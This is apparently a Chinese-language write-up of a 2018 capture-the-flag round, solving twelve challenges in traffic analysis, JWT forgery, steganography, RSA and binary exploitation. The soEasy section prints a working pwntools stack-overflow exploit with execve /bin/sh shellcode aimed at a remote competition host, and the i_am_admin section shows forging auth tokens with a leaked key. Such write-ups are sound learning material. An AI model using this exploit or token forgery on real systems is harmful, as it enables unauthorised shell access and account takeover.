CTF

网鼎杯第三场wp

2018-08-28

我还没有学会写个人说明!

1、签到题


2、Not_only_base 

题目说的不止是base

拿到数据之后呢,直接base32 解开就行了

3、track_hacker

打开是一个流量包搜索一下http吧发现是一个上传的了一个shell的操作

收集一波信息吧

1.eJwrLy/XTUksSQQADqgDLQ==

2.eJwDAAAAAAE=

3.eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi

4.。。。。。。

解密到第三个,python 解开


Flag:flag{U_f1nd_Me!}

4、comein


使用burpsuite构造这样的参数进行发包

参考文章如下:https://ctftime.org/writeup/10429

参考文章2 :https://xz.aliyun.com/t/2454

5、gold

打开题目,发现收集1000金币才能获取到flag,但是金币一直在负增长,burpsuite抓包

这里是爆破,直接用getGod参数来进行爆破。我爆破了三次,第一次是1001 爆破失败,第二次到1005 第三次直接用0-5-10 这样爆破。最后得出flag

6、i_am_admin

其实这道题好像有原题。地址我忘记了,稍后发一下地址

打开登录地址,使用admin/admin、admin/123456等弱口令登录,发现

接着查看response包内容,发现登录账号密码是test/test

使用test/test登录,

但是这个只是登录界面,而且在上一步的response包中有一个“admin is not for u”这句话,也就是说我们要使用admin账号登录

接着我们使用burp获取登录之后主页的GET包

发现登录之前cookie中没有auth这个参数,猜想auth这个参数可能是解题的关键

将登录之后的auth值使用base64解密

发现username:test,把auth的值随便删掉几个,发包

发现服务器报500错误,查看返回包(主要是报错的内容,可以看到加密的方式等等),采用的是jwt加密,那我们使用jwt解密

参考文章:https://pypi.org/project/PyJWT/1.4.0/

secret_key的值我们开始在登录进去之后就知道了:

uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+

直接使用python进行解密

替换auth中的内容,发包

flag{af2b182e-4714-420e-8fc7-6a78993821ca}

7、Unpleasant_music

|打开wav文件发现是高低波形 转换为01数据得到rar文件

使用010 Editor打开文件发现其中隐写PNG文件

Run template修改block值

解压文件发现多出STM文件

修改文件后缀名为PNG打开发现为半张二维码

接下来需要爆破CRC判断图片实际尺寸 Python脚本如下

参考文章:

https://www.jianshu.com/p/0b5d14657d2e

爆破得到图片实际尺寸为280×280

修改文件头中的数据

得到完整的二维码

8、mirror

用winhex 打开

010Editor打开文件 根据提示发现文件尾有倒置的PNG文件头

搜索DNEI关键字找到PNG文件尾


将文件数据倒置并保存得到flag图片

9、dewas

根据题中提示FPS推断WASD键为方向 E为断点 画图得到flag


10、hafuhafu

打开文件发现public key以及enc 初步判断为RSA加密算法

n进行因数分解得到


n进行因数分解得到

使用Pythonrsatool得到PEM文件

enc进行BASE64解密然后保存

使用OPENSSL对BASE64解密后的密文解密得到flag

11、soEasy

查看伪代码 发现vul函数中有read(有栈溢出漏洞

通过查看 &buf大小为48

通过Zio库编写脚本

#!/usr/bin/env python
from pwn import *
#file "/Users/LMva/Downloads/pwn"
import re

p = remote('106.75.95.47',42264)
ret=int(p.recvline()[-11:-1],16)


shellcode1 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
shellcode2 = "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
shellcode3 = "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
shellcode4 = "\x89\xe1\xcd\x80"
shellcode = shellcode1 + shellcode2 + shellcode3 +shellcode4
payload = shellcode + (76 - len(shellcode)) * "A" + p32(ret)

p.send(payload)
p.interactive()

12、babyre

是一个.net 程序 ,在源码中看到了flag拼接的过程